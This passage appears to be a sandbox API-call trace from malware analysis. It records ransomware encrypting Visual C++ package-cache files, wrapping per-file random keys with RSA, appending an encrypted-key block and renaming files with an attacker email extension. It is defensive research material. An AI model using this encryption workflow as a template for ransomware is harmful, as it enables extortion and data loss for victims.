lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0174.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.211] WriteFile (in: hFile=0x7e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.212] CloseHandle (hObject=0x7e4) returned 1 [0174.212] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0174.213] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653ce0 [0174.213] SetLastError (dwErrCode=0x0) [0174.213] GetLastError () returned 0x0 [0174.213] SetLastError (dwErrCode=0x0) [0174.213] GetLastError () returned 0x0 [0174.213] SetLastError (dwErrCode=0x0) [0174.213] FindNextFileW (in: hFindFile=0x653ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] FindNextFileW (in: hFindFile=0x653ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] FindNextFileW (in: hFindFile=0x653ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ae3d70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ae3d70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] FindNextFileW (in: hFindFile=0x653ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] GetLastError () returned 0x0 [0174.214] SetLastError (dwErrCode=0x0) [0174.214] FindNextFileW (in: hFindFile=0x653ce0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.214] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0174.215] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0174.215] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8 [0174.216] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0174.216] ReadFile (in: hFile=0x7e8, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0174.348] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.348] WriteFile (in: hFile=0x7e8, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0174.349] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0174.349] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.349] WriteFile (in: hFile=0x7e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.349] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0174.349] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0174.350] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0174.350] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="VvGePswpY4Gy7tIbcESpUynWoH7KKYScnMDC3YzJ+qaV0OXgYciKkh0WIhVO1zpj\nuYoL/vsAanzm56hZzbIl6qD9kzjgeJPCR5JeftZPe6Ran1sxGuS4sKyEAVZMSRMe\ntwB2XBBcMxeWs2SSqB7xZlLB4Ca9ucSPpMYOPxF6nMo6sJe5RCvcvXXJxOE/eeAO\nECiD7kZ6w6IOUTiTNWDNvPcPRo8nsh5+u3APMIO27+xCck69GN/QmRXxpx3BSael\n6EMURkdoHNo0+2tcWFX3EMzLEn7teFCw90Cw7pbLLCL2n4A9TJWLIEjyp23nak7r\n40Bc+NI9QvZInEyyIph8Rw==\n", pcchString=0x2e3f9a8) returned 1 [0174.350] WriteFile (in: hFile=0x7e8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0174.350] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.350] WriteFile (in: hFile=0x7e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.350] CloseHandle (hObject=0x7e8) returned 1 [0174.351] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0174.352] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0174.353] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0174.353] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8 [0174.353] GetFileSizeEx (in: hFile=0x7e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1034506) returned 1 [0174.353] ReadFile (in: hFile=0x7e8, lpBuffer=0x67e020, nNumberOfBytesToRead=0xfc90a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67e020*, lpNumberOfBytesRead=0x2e3f9b4*=0xfc90a, lpOverlapped=0x0) returned 1 [0174.450] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=-1034506, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.451] WriteFile (in: hFile=0x7e8, lpBuffer=0x314e020*, nNumberOfBytesToWrite=0xfc90a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xfc90a, lpOverlapped=0x0) returned 1 [0174.453] SetFilePointer (in: hFile=0x7e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xfc90a [0174.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.453] WriteFile (in: hFile=0x7e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.453] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0174.453] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0174.453] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0174.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="kI4WAx62fEMvcbiD+2311/fR+j/sISiO8HhyfmhjnBofCQjUE7B2IhhAd8KhrF5D\nJaHJQMu72g8o6TZIgTXDoqaJ5p7720aHrSBLOjMjKq9IR82D6hWoqVLD+3TvOrW0\nr0eU0bGqA7kY2lzzY1UZP26jR20iz0TpJSD3DdusChj/P8a2/l9eM2cjrrlPmKuu\nthVWQdDyQhkWvlwlrl78LDtmGti5IAyXJUToiJ3261/WB4DecdJ/OGa5amg9jjVs\nV9aHGS5zf/R/UnIEBNwt0Xoka4tXDNrXZ68A3JeG/nHmOPnXTIV2YI0RAOLXYnwK\nFfiktDJrAuQlWQtNoXR9qQ==\n", pcchString=0x2e3f9a8) returned 1 [0174.454] WriteFile (in: hFile=0x7e8, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0174.454] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.454] WriteFile (in: hFile=0x7e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.454] CloseHandle (hObject=0x7e8) returned 1 [0174.454] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0174.455] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653d20 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] FindNextFileW (in: hFindFile=0x653d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] FindNextFileW (in: hFindFile=0x653d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] FindNextFileW (in: hFindFile=0x653d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ae3d70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ae3d70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ae3d70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] GetLastError () returned 0x0 [0174.456] SetLastError (dwErrCode=0x0) [0174.456] FindNextFileW (in: hFindFile=0x653d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.457] SetLastError (dwErrCode=0x0) [0174.457] GetLastError () returned 0x0 [0174.457] SetLastError (dwErrCode=0x0) [0174.457] GetLastError () returned 0x0 [0174.457] SetLastError (dwErrCode=0x0) [0174.457] FindNextFileW (in: hFindFile=0x653d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.457] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0174.457] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0174.458] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0174.458] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=151552) returned 1 [0174.458] ReadFile (in: hFile=0x7ec, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0174.629] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.629] WriteFile (in: hFile=0x7ec, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0174.631] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25000 [0174.631] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.631] WriteFile (in: hFile=0x7ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0174.632] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0174.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0174.632] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="dZogN39Wz/g4LlXAn6LPNtyzv/HvXUmhPt7lFlzhueRVoCMz6QiV8p19fzYxUnDQ\nDk+3h357DWpJjemXwQg1PqLvcwgAbVvqB4KFgbbYD9t5yMQYiDIq+UuV6/5dqxJ4\nOOLdWvW4whXBpmorYiJ3vZvA8WiiWz0TJW3srj0NXponfe0wPDzcBrOjnrF99S1+\nFNwsGbB2urXUKu8+Q17vfzC9KAZ9ri5eSrhwblwS3ZJgab7q8SaOUgreOM/O8hgD\n8JJ6DYRsNRN5YuUwR1mnV6uwVl/hty2ciL71cdOJZIogJiPJKaQv1TRtCV6sIAm9\n4vJjqpnAylZB7neRjCMCDA==\n", pcchString=0x2e3f9a8) returned 1 [0174.632] WriteFile (in: hFile=0x7ec, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0174.632] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0174.632] WriteFile (in: hFile=0x7ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0174.633] CloseHandle (hObject=0x7ec) returned 1 [0174.633] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0174.843] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0174.843] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0174.844] CreateFileW (lpFileName="\\Users\\All Users\\Package 